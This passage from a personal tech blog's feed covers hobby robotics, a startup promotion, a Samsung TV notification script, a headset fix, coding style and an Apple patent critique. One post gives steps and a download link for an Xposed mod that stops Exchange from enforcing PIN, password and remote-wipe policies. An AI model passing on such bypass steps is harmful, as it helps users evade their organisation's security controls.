&lt;p&gt;Found that you can&amp;rsquo;t use standard Servo library along with DC motors as it disables the PWM on pins 9 &amp;amp; 10 as it uses Timer 1 (Should have read the manual in the first place :| )&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Used ServoTimer2 library to avoid this (since it uses timer 2) but it didn&amp;rsquo;t compile. Got it compiling and is added to my github repo as well so you can use it too.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;ServoTimer2 disables use of digital pin 3 for servo. So had to use pin 4 for tilt&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Raspberry Pi has a back power connection somehow through its full USB port :o Avoid this as much as possible and power on the Pi first and then the battery pack on the Dagu mini driver&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The Sony portable charger is pretty nice and the power on/off button actually came in handy though I generally detested it otherwise. This helped in turning off the Pi (CP-F10 L is the model name if you want)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;There is a nice voltage monitor on the Dagu on analog pin 7. This helps in keeping track of the battery levels and can be used to shutdown the car when needed.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Servos get driven by the USB power as well but motors require battery power for sure&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;"&gt;
&lt;iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/0OENujtgdg0?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video"&gt;&lt;/iframe&gt;
&lt;/div&gt;</content></item><item><title>Converting A Toy RC Car Into An Autonomous Fun Car The Indian Way</title><link>https://shantanugoel.com/2014/07/23/converting-a-toy-rc-car-into-an-autonomous-fun-car-the-indian-way/</link><pubDate>Wed, 23 Jul 2014 17:05:12 +0000</pubDate><guid>https://shantanugoel.com/2014/07/23/converting-a-toy-rc-car-into-an-autonomous-fun-car-the-indian-way/</guid><description>&lt;p&gt;Dangerous is a mind which is left grounded at home for days. Being stuck at home and having a few pieces of joy around made me do this over the weekend.&lt;/p&gt;
&lt;p&gt;Ingredients:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;An old Toy RC car broken out of shape by my 4 year old&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;DAGU Mini Driver&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Screw Driver/Batteries/Tape/Glue/Rubber bands/Old gift cards&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Half an hour of coding&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Output:&lt;/p&gt;
&lt;p&gt;A car that runs automatically making 8 shape on the floor (More like random fractals due to the wheels having no grip)&lt;/p&gt;</description><content>&lt;p&gt;Dangerous is a mind which is left grounded at home for days. Being stuck at home and having a few pieces of joy around made me do this over the weekend.&lt;/p&gt;
&lt;p&gt;Ingredients:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;An old Toy RC car broken out of shape by my 4 year old&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;DAGU Mini Driver&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Screw Driver/Batteries/Tape/Glue/Rubber bands/Old gift cards&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Half an hour of coding&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Output:&lt;/p&gt;
&lt;p&gt;A car that runs automatically making 8 shape on the floor (More like random fractals due to the wheels having no grip)&lt;/p&gt;
&lt;p&gt;
&lt;figure class="left" &gt;
&lt;img src="https://shantanugoel.com/img/2014/07/1-300x225.jpg" /&gt;
&lt;/figure&gt;
&lt;figure class="left" &gt;
&lt;img src="https://shantanugoel.com/img/2014/07/2-300x225.jpg" /&gt;
&lt;/figure&gt;
&lt;figure class="left" &gt;
&lt;img src="https://shantanugoel.com/img/2014/07/3-300x225.jpg" /&gt;
&lt;/figure&gt;
&lt;figure class="left" &gt;
&lt;img src="https://shantanugoel.com/img/2014/07/4-225x300.jpg" /&gt;
&lt;/figure&gt;
&lt;figure class="left" &gt;
&lt;img src="https://shantanugoel.com/img/2014/07/5-225x300.jpg" /&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;"&gt;
&lt;iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/IuQqaJ0YKwA?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video"&gt;&lt;/iframe&gt;
&lt;/div&gt;</content></item><item><title>Patterbuzz - Your Content Your Way</title><link>https://shantanugoel.com/2013/12/07/patterbuzz-your-content-your-way/</link><pubDate>Sat, 07 Dec 2013 19:29:57 +0000</pubDate><guid>https://shantanugoel.com/2013/12/07/patterbuzz-your-content-your-way/</guid><description>&lt;p&gt;My brother, Amit Goel, has founded a startup &amp;ldquo;&lt;a href="http://www.patterbuzz.com"&gt;Patterbuzz&lt;/a&gt;&amp;rdquo; which is aiming to disrupt the digital publishing marketplace. Read on for details about it in his words. I can assure you that you don&amp;rsquo;t want to miss out on this whether you are a publisher or a consumer :)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Welcome Offer: Download the app and register your account before 15th December and get 100 Credits FREE!! to download the content of your choice.&lt;/strong&gt;&lt;/p&gt;</description><content>&lt;p&gt;My brother, Amit Goel, has founded a startup &amp;ldquo;&lt;a href="http://www.patterbuzz.com"&gt;Patterbuzz&lt;/a&gt;&amp;rdquo; which is aiming to disrupt the digital publishing marketplace. Read on for details about it in his words. I can assure you that you don&amp;rsquo;t want to miss out on this whether you are a publisher or a consumer :)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Welcome Offer: Download the app and register your account before 15th December and get 100 Credits FREE!! to download the content of your choice.&lt;/strong&gt;&lt;/p&gt;
&lt;figure class="left" &gt;
&lt;img src="https://shantanugoel.com/img/2013/12/IMG_0126-300x225.png" /&gt;
&lt;/figure&gt;
&lt;p&gt;Patterbuzz enables users to read premium content on their mobile devices and pay for only what they wish to read. So, If you wish to read only a cover story of a magazine, you do not need to buy a magazine for Rs 100/-. Instead,  you can pay Rs 5/- for only the cover story and read it on your iPAD in an rich and interactive way. this means Patterbuzz wants to unbundle content packaging and let users buy what they wish to. Patterbuzz introduces a digital wallet for the users to make purchases easier and in a pare-paid pay as you go model. In short, we want to be iTunes of publishing industry. This is a unique business model and we are the first ones in India (probably the world) to create this kind of platform for premium content publishing on mobile devices.&lt;/p&gt;
&lt;p&gt;We, at Patterbuzz, believe that there is huge premium quality indian content which is not easily available, especially in magazines and independent publications / writers which goes unnoticed in the whole world due to focus being majorly on US / UK markets. There is sizable indian/asian population outside india who wishes to read the magazines/independent content from India but they can&amp;rsquo;t find it on any platform. Apart from top Tier indian publications, 90% of the rest of indian publishers cannot reach global audience. Hence, with this background patterbuzz was created.&lt;/p&gt;
&lt;p&gt;Now, Patterbuzz is trying to make content easily accessible to users in best way possible on mobile devices because that&amp;rsquo;s where users are reading more. Patterbuzz app does not just publish magazine PDFs like the rest of the world, they enable the regular print magazine content on digital format in an interactive way. And users can buy whatever they like. Patterbuzz is the only platform(as far as we know) offering unbundled content where a user can buy an individual article rather than purchasing an issue or subscribe to whole magazine. He can see a slideshow of images in an article or like, share and rate an article.&lt;/p&gt;
&lt;p&gt;There is a huge roadmap in terms of features and more monetization options. We are looking forward to create a complete new kind of advertising offerings for premium content leveraging offline advertisement sales systems and apps on all other devices in the next 6-8 months timeframe.&lt;/p&gt;
&lt;p&gt;We already have 7 magazines on board as launch candidates and many other magazines are in pipeline. Our application just released a few days ago on 3rd Dec 2013 and we believe it will be great for us if you can review our app and let the world know if you like it.&lt;/p&gt;
&lt;p&gt;Please download the app from &lt;a href="https://itunes.apple.com/us/app/patterbuzz/id588682264?ls=1&amp;amp;mt=8"&gt;https://itunes.apple.com/us/app/patterbuzz/id588682264?ls=1&amp;amp;mt=8&lt;/a&gt; or search &amp;ldquo;Patterbuzz&amp;rdquo; in Apple App Store. The link is also available on our website &lt;a href="http://www.patterbuzz.com/"&gt;http://www.patterbuzz.com&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Our facebook page is &lt;a href="https://facebook.com/patterbuzz"&gt;https://facebook.com/patterbuzz&lt;/a&gt; and twitter handle is &lt;a href="http://twitter.com/patterbuzz"&gt;@patterbuzz&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Founder information :&lt;/p&gt;
&lt;p&gt;Amit Goel&lt;/p&gt;
&lt;p&gt;Founder &amp;amp; CEO, Patterbuzz&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.patterbuzz.com/"&gt;http://www.patterbuzz.com&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Linkedin: &lt;a href="http://in.linkedin.com/in/amitreversed/"&gt;http://in.linkedin.com/in/amitreversed/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Twitter: @amitgoel1287&lt;/p&gt;
&lt;p&gt;Email: &lt;a href="mailto:info@patterbuzz.com"&gt;info@patterbuzz.com&lt;/a&gt;&lt;/p&gt;</content></item><item><title>[Xposed Mod] Bypass Exchange Security Policy for Nexus and other AOSP devices</title><link>https://shantanugoel.com/2013/10/14/xposed-mod-bypass-exchange-security-policy-for-nexus-4-android-4-3/</link><pubDate>Mon, 14 Oct 2013 14:13:10 +0000</pubDate><guid>https://shantanugoel.com/2013/10/14/xposed-mod-bypass-exchange-security-policy-for-nexus-4-android-4-3/</guid><description>&lt;p&gt;Exchange Security Bypass Xposed Mode for Nexus 4/5/7 and other AOSP based devices (Android 4.3 / 4.4)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; This has now been tested to work successfully on all stock or nearly stock JellyBean (4.3) and KitKat (4.4) ROMs on Nexus 4 / Nexus 5 / Nexus 7. Other AOSP ROMs like CM11 should work as well.&lt;/p&gt;
&lt;p&gt;This mod should be used along with Xposed ( &lt;a href="http://forum.xda-developers.com/showthread.php?t=1574401"&gt;http://forum.xda-developers.com/showthread.php?t=1574401&lt;/a&gt; ). Xposed is this awesome framework developed by rovo89 which allows you to carry out mods to your device without changing any files (well except one &amp;ldquo;app_process&amp;rdquo; as part of the xposed installer). Moreover, once you install xposed, you don&amp;rsquo;t need root after that for any mods.&lt;/p&gt;</description><content>&lt;p&gt;Exchange Security Bypass Xposed Mode for Nexus 4/5/7 and other AOSP based devices (Android 4.3 / 4.4)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; This has now been tested to work successfully on all stock or nearly stock JellyBean (4.3) and KitKat (4.4) ROMs on Nexus 4 / Nexus 5 / Nexus 7. Other AOSP ROMs like CM11 should work as well.&lt;/p&gt;
&lt;p&gt;This mod should be used along with Xposed ( &lt;a href="http://forum.xda-developers.com/showthread.php?t=1574401"&gt;http://forum.xda-developers.com/showthread.php?t=1574401&lt;/a&gt; ). Xposed is this awesome framework developed by rovo89 which allows you to carry out mods to your device without changing any files (well except one &amp;ldquo;app_process&amp;rdquo; as part of the xposed installer). Moreover, once you install xposed, you don&amp;rsquo;t need root after that for any mods.&lt;/p&gt;
&lt;p&gt;This mod will bypass the Email app from becoming device admin for your phone and prevent it from setting up any security restrictions on your device including pin/password/remote wipe, etc. There are a couple other such mods but they don&amp;rsquo;t work at all or don&amp;rsquo;t work for Nexus 4 and/or Android 4.3&lt;/p&gt;
&lt;p&gt;Instructions for users&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Remove your existing email account from phone and reboot&lt;/li&gt;
&lt;li&gt;Install Xposed installer (from link above)&lt;/li&gt;
&lt;li&gt;Install this mod (Download apk from &lt;a href="https://github.com/shantanugoel/ExchangeBypassXposed/blob/master/ExchangeBypassForXposed/ExchangeBypassForXposed.apk"&gt;here&lt;/a&gt; )&lt;/li&gt;
&lt;li&gt;Enable the mod in xposed (Preferences for other devices/versions coming Soon)&lt;/li&gt;
&lt;li&gt;Reboot&lt;/li&gt;
&lt;li&gt;Add your email account again. This time, it will ask you that the email
might require security restrictions, say yes to it but it will never actually set the restrictions.&lt;/li&gt;
&lt;li&gt;Done. :)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Instructions for developers&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Read the xda link at the top of this readme and go through basics of xposed development&lt;/li&gt;
&lt;li&gt;Install xposed as an android sdk addon on your system&lt;/li&gt;
&lt;li&gt;Clone this git repo&lt;/li&gt;
&lt;li&gt;Import in Android Studio&lt;/li&gt;
&lt;li&gt;Make changes&lt;/li&gt;
&lt;li&gt;Build :)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Credits:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;rovo89 from xda (for creating xposed)&lt;/li&gt;
&lt;li&gt;mpcjanssen from xda (for original mod)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Source code is at &lt;a href="https://github.com/shantanugoel/ExchangeBypassXposed"&gt;https://github.com/shantanugoel/ExchangeBypassXposed&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Feel free to send me your queries or suggestions here or at my twitter: &lt;a href="http://twitter.com/shantanugoel"&gt;http://twitter.com/shantanugoel&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Changelog&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;1.5 22-Dec-13
Allow updation of policy keys properly on Exchange server&amp;rsquo;s request otherwise sync may hang&lt;/p&gt;
&lt;p&gt;1.4 16-Dec-13
Fixing the fixes :)&lt;/p&gt;
&lt;p&gt;1.3 15-Dec-13
Fixed random email app crashes&lt;/p&gt;
&lt;p&gt;1.2 14-Dec-13
AOSP ROMs support. Removed some unnecessary logging.&lt;/p&gt;
&lt;p&gt;1.1 28-Nov-13
KitKat support. Tested on Nexus 4, Nexus 5, Nexus 7 2012, Nexus 7 2013&lt;/p&gt;
&lt;p&gt;1.0 14-Oct-13
Initial version. Working for Nexus 4 Android 4.3&lt;/p&gt;</content></item><item><title>Display Message on Samsung TVs in Python (Samsung MessageBox Service Exploitation)</title><link>https://shantanugoel.com/2013/07/14/samsung-tv-message-box-python/</link><pubDate>Sun, 14 Jul 2013 14:07:15 +0000</pubDate><guid>https://shantanugoel.com/2013/07/14/samsung-tv-message-box-python/</guid><description>&lt;p&gt;This script is the result of a weekend&amp;rsquo;s hacking to get my TV to display incoming calls/texts which I miss invariably because the phone is buried under a sofa or in a different room. Earlier I had done this using my Odroid U2 and Tasker/AutoRemote but this was limiting as this meant that I could see the notifications only when I was watching something through the Odroid. Samsung TVs, which are DLNA enabled, also include a hidden service called &amp;ldquo;Message Box&amp;rdquo; which can display different information on the TV natively irrespective of which display mode/input mode you are in.&lt;/p&gt;</description><content>&lt;p&gt;This script is the result of a weekend&amp;rsquo;s hacking to get my TV to display incoming calls/texts which I miss invariably because the phone is buried under a sofa or in a different room. Earlier I had done this using my Odroid U2 and Tasker/AutoRemote but this was limiting as this meant that I could see the notifications only when I was watching something through the Odroid. Samsung TVs, which are DLNA enabled, also include a hidden service called &amp;ldquo;Message Box&amp;rdquo; which can display different information on the TV natively irrespective of which display mode/input mode you are in.&lt;/p&gt;
&lt;p&gt;I had come across this while reverse engineering the DLNA protocol extensions that Samsung had built in their TVs to get subtitles working over DLNA but didn&amp;rsquo;t put much thought into it. Fueled by the new Raspberry Pi I recently acquired (more on this later below), I set out to find out the details of this service and exploit it for my need and a few hours later, samsung-messagebox was born :)&lt;/p&gt;
&lt;p&gt;You can get it from here: &lt;a href="https://github.com/shantanugoel/samsung-messagebox"&gt;https://github.com/shantanugoel/samsung-messagebox&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Usage:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; usage: samsung-msgbox.py -i IP -m MSG [-p PORT] [-t TIME] [-r RECEIVER]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; [-x RECEIVER_NO] [-s SENDER] [-y SENDER_NO] [-h]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Send an arbitrary text message to Samsung TVs which is displayed onscreen.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Developed by Shantanu Goel (http://tech.shantanugoel.com/) version 1.0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Arguments:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -i IP, --ip IP Required. IP Address of the TV
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -m MSG, --msg MSG Required. Message body text to be sent to TV
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -p PORT, --port PORT Optional. Port on which message should be sent
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -t TIME, --time TIME Optional. Receive date and time in epoch/unix format
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -r RECEIVER, --receiver RECEIVER
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Optional. Receiver Name
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -x RECEIVER_NO, --receiverno RECEIVER_NO
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Optional. Receiver Number
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -s SENDER, --sender SENDER
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Optional. Sender Name
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -y SENDER_NO, --senderno SENDER_NO
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Optional. Sender Number
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -h, --help
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;I&amp;rsquo;ve tested it currently with my 2010 C Series TV. Hopefully, it should work with any TV that has this service. If you face any problems then let me know and I can try to add support for your TV.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Raspberry PI:&lt;/strong&gt; So, where does raspberry pi figure in all this? Well, I wanted to display my incoming call/text alerts on my TV. So, I made a small webserver in python that I run on my raspberry pi, listening for some special parameters. Whenever I get a call or SMS, I created a tasker profile to call this server with the call/sms parameters and the server in turn calls the above samsung-messagebox.py script to display the alerts. I&amp;rsquo;m also planning to integrate it with a dropbox based service to put it to more uses. Let me know if you have any ideas in mind.&lt;/p&gt;
&lt;p&gt;Some pics of this working:&lt;/p&gt;
&lt;p&gt;
&lt;figure class="left" &gt;
&lt;img src="https://shantanugoel.com/img/2013/07/samsung-messagebox-demo-1-300x225.jpg" /&gt;
&lt;/figure&gt;
&lt;figure class="left" &gt;
&lt;img src="https://shantanugoel.com/img/2013/07/samsung-messagebox-demo-2-300x225.jpg" /&gt;
&lt;/figure&gt;
&lt;/p&gt;</content></item><item><title>Fixing The Static Noise, Clicks And Pops with Turtlebeach Earforce PX5</title><link>https://shantanugoel.com/2013/03/03/fixing-the-static-noise-clicks-and-pops-with-turtlebeach-earforce-px5/</link><pubDate>Sun, 03 Mar 2013 18:27:17 +0000</pubDate><guid>https://shantanugoel.com/2013/03/03/fixing-the-static-noise-clicks-and-pops-with-turtlebeach-earforce-px5/</guid><description>&lt;p&gt;So I got this beautiful piece of headset a few days ago, called the EarForce PX5 by TurtleBeach. It&amp;rsquo;s claim to fame being an awesome virtual surround sound headset which also does the double duty of providing game audio as well as voice chat over the same headset. I preferred this over the Sony PS3 Elite headset as the PX5 is more generic and can work across multiple devices since it uses the regular bluetooth for A2DP and voice chat and the wireless transmitter has standard optical/RCA inputs and outputs.&lt;/p&gt;</description><content>&lt;p&gt;So I got this beautiful piece of headset a few days ago, called the EarForce PX5 by TurtleBeach. It&amp;rsquo;s claim to fame being an awesome virtual surround sound headset which also does the double duty of providing game audio as well as voice chat over the same headset. I preferred this over the Sony PS3 Elite headset as the PX5 is more generic and can work across multiple devices since it uses the regular bluetooth for A2DP and voice chat and the wireless transmitter has standard optical/RCA inputs and outputs.&lt;/p&gt;
&lt;figure class="left" &gt;
&lt;img src="https://shantanugoel.com/img/2013/03/2013-02-27-00.49.40-225x300.jpg" /&gt;
&lt;/figure&gt;
&lt;p&gt;However, there was one issue. Out of the box, the headset produced serious amount of clicks and pops and other static noises. This is because the wireless transmission for this headset is done over 2.4 GHz band which competes with the various wireless devices that I have around the house. Trying various tools like inSSIDer proved useless as the PX5 isn&amp;rsquo;t a WLAN/802.11 connection evne though it uses the same band. Finally after lot of trial and error, I figured out that doing the following things reduced the noise down to a bare minimum (in fact zero):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Use Channel 9 on the wi-fi router for 2.4GHz band with band width being 20MHz&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Keep the transmitter away from PS3&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Keep the transmitter away from the TV (It&amp;rsquo;s surprising how much the EMI emitting from those huge LCDs can affect wireless performance.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Now, it&amp;rsquo;s working awesomely and I just had a decent run of the missing link DLC of Deus Ex HR :)&lt;/p&gt;</content></item><item><title>The 80 Column Coding Rule</title><link>https://shantanugoel.com/2013/02/25/the-80-column-coding-rule/</link><pubDate>Mon, 25 Feb 2013 18:48:21 +0000</pubDate><guid>https://shantanugoel.com/2013/02/25/the-80-column-coding-rule/</guid><description>&lt;p&gt;I&amp;rsquo;ve followed the 80 column rule almost always when I code, i.e., I keep a soft limit of keeping my lines of my code limited to 80 characters max. unless breaking up the line really messes up the readability of the code.&lt;/p&gt;
&lt;p&gt;I was asked recently why do I bother now in this age of 24&amp;quot; widescreen monitors (and above) with resolutions of 720p at the bare minimum. I could certainly afford to have more than double that limit staring back at me from the screen without overflowing. Then, am I just being pedantic in following this religiously? Am I not wasting precious screen real estate by doing this?&lt;/p&gt;</description><content>&lt;p&gt;I&amp;rsquo;ve followed the 80 column rule almost always when I code, i.e., I keep a soft limit of keeping my lines of my code limited to 80 characters max. unless breaking up the line really messes up the readability of the code.&lt;/p&gt;
&lt;p&gt;I was asked recently why do I bother now in this age of 24&amp;quot; widescreen monitors (and above) with resolutions of 720p at the bare minimum. I could certainly afford to have more than double that limit staring back at me from the screen without overflowing. Then, am I just being pedantic in following this religiously? Am I not wasting precious screen real estate by doing this?&lt;/p&gt;
&lt;p&gt;Well, NO. The reason I still do it is I can use that real estate for much better purposes while not breaking a sweat (and my neck) while reading long horizontal lines of code. It is still much easier to keep the code size limited horizontally within your immediate focus of vision and you can use the rest of the horizontal space for things like having a directory tree or a database of tags showing. But I keep these extras ready at the whim of a button (mapped to key combos in vim) and the most I use it for is having two (or more) files open simultaneously in vim splits to make the code easier to understand or even write. Many times, what I am reading/writing needs me to back and forth between a few files and I can keep them all open using the big screens if I limit my horizontal code size in each file.&lt;/p&gt;
&lt;p&gt;I wasn&amp;rsquo;t still able to convince the person of my self-imposed rule but maybe I&amp;rsquo;m wrong? What do you follow?&lt;/p&gt;</content></item><item><title>Apple, Anti-Malware, Patents</title><link>https://shantanugoel.com/2013/02/15/apple-anti-malware-patents/</link><pubDate>Fri, 15 Feb 2013 16:55:10 +0000</pubDate><guid>https://shantanugoel.com/2013/02/15/apple-anti-malware-patents/</guid><description>&lt;p&gt;Recently, there has been this trend. Blogs look for patents filed by companies and then report on each of them as if they are second coming of Jesus in technology. Especially if it is Apple who is doing the filings.&lt;/p&gt;
&lt;p&gt;A few days ago, this &lt;a href="http://www.zdnet.com/apples-new-wave-anti-malware-patent-takes-a-leaf-out-of-qubes-book-7000011118/"&gt;new patent&lt;/a&gt; showed up about Apple&amp;rsquo;s &amp;ldquo;new wave approach to fighting malware&amp;rdquo; with the author giving up half-researched commentary on it.&lt;/p&gt;
&lt;p&gt;I was intrigued by this news (if you can call it that), not because it’s something new but instead because process isolation is hardly a new concept. The author mentions &amp;ldquo;Qubes OS&amp;rdquo; as the one to be original inventor before Apple but in fact, it has been used for years (eg chrooting/containers in linux) and more popular recently in Android’s uid based approach. Even Qualcomm (and other SoC vendors) have stuff that helps in this space with Trustzone based isolation between processor entities at hardware level.&lt;/p&gt;</description><content>&lt;p&gt;Recently, there has been this trend. Blogs look for patents filed by companies and then report on each of them as if they are second coming of Jesus in technology. Especially if it is Apple who is doing the filings.&lt;/p&gt;
&lt;p&gt;A few days ago, this &lt;a href="http://www.zdnet.com/apples-new-wave-anti-malware-patent-takes-a-leaf-out-of-qubes-book-7000011118/"&gt;new patent&lt;/a&gt; showed up about Apple&amp;rsquo;s &amp;ldquo;new wave approach to fighting malware&amp;rdquo; with the author giving up half-researched commentary on it.&lt;/p&gt;
&lt;p&gt;I was intrigued by this news (if you can call it that), not because it’s something new but instead because process isolation is hardly a new concept. The author mentions &amp;ldquo;Qubes OS&amp;rdquo; as the one to be original inventor before Apple but in fact, it has been used for years (eg chrooting/containers in linux) and more popular recently in Android’s uid based approach. Even Qualcomm (and other SoC vendors) have stuff that helps in this space with Trustzone based isolation between processor entities at hardware level.&lt;/p&gt;
&lt;p&gt;So, I wanted to check out what’s new here (which was not immediately clear and probably no one else tried to see it because the patent link is wrong in the article and it links to some display patent, not the one in question). The correct patent is this: &lt;a href="http://www.freepatentsonline.com/RE43987.html"&gt;http://www.freepatentsonline.com/RE43987.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;After going through the mangled language that any patent embodies, it is clear that “conceptually” it is similar to what has been done till now, but the approach is different. On the whole, the basic difference seems to be that linux uses chrooting, android uses separate users, Qubes adds a virtualization layer to achieve the above and Apple goes one further (not necessarily better) and makes it real/physical separate processor instead of a virtual one.&lt;/p&gt;
&lt;p&gt;However, I’m still not sold on this and it doesn’t seem foolproof. (I’m not a security expert by any means, so please take the below with a tablespoon full of salt and you are free to add corrections or throw me out the window ;) ) In fact, it doesn’t seem much better than the current system but has an add-on of cost (extra physical processor, dedicated circuitry/components) and losing ease of use. Some points to be noted:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;The burden is still mostly on user. The user still needs to keep all his anti-malware programs updated all the time and be alert for each indication on the system and allow/disallow things to happen in system all the time to keep it protected. This approach is not going to save the system in any way if any of the above steps falter. Which is, pretty similar to what we see today.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The approach does not mention aversion of several crucial points:&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;a. If processor P2 itself is compromised by the malware, then it is rendered useless in the scenario where P2 itself is tasked with scanning the memory/files on Memory M2 for malware. It can be made to just report “all clean” by malware as the scanning engine running on P2 is still accessible by network content in the same way it would have been on P1 in a non-dual-processor system.&lt;/p&gt;
&lt;p&gt;b. P2 is connected to the video display subsystem and this can be used to malware’s advantage to trick user into clicking on wrong areas or doing wrong things in the same way as it is today&lt;/p&gt;
&lt;p&gt;c. It says keypresses can be encrypted by P1 and decrypted by Network device 190 to allow P2 to not know what was pressed. But this again seems to not require the above approach. First, it requires a special network device now, not a generic one as mentioned in the patent. Second, since the network device itself needs to be configurable now for this, there is another attack vector there. This is, however, somewhat similar to what existing SoC solutions do in mobile space but that is better/feasible because the other end is a software entity and the mechanics of how it works is different.&lt;/p&gt;
&lt;p&gt;d. For online gaming etc, where the influx of data is huge and needs to be processed in real time, P1 takes this data directly from M2 once P2 signals availability. Not sure, how is this different then from having a single processor system without the above isolation?&lt;/p&gt;
&lt;p&gt;e. Several other things which I can keep typing about till my keys wear out.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt;: This patent on its own may be a new idea (rather a new twist to an existing concept) but it is hardly something that can be put into practice and maybe the reason why Apple hasn’t actually produced anything with this, yet. It might become better with other ideas coupled (which Apple may have filed separate patents for but are currently unknown).&lt;/p&gt;
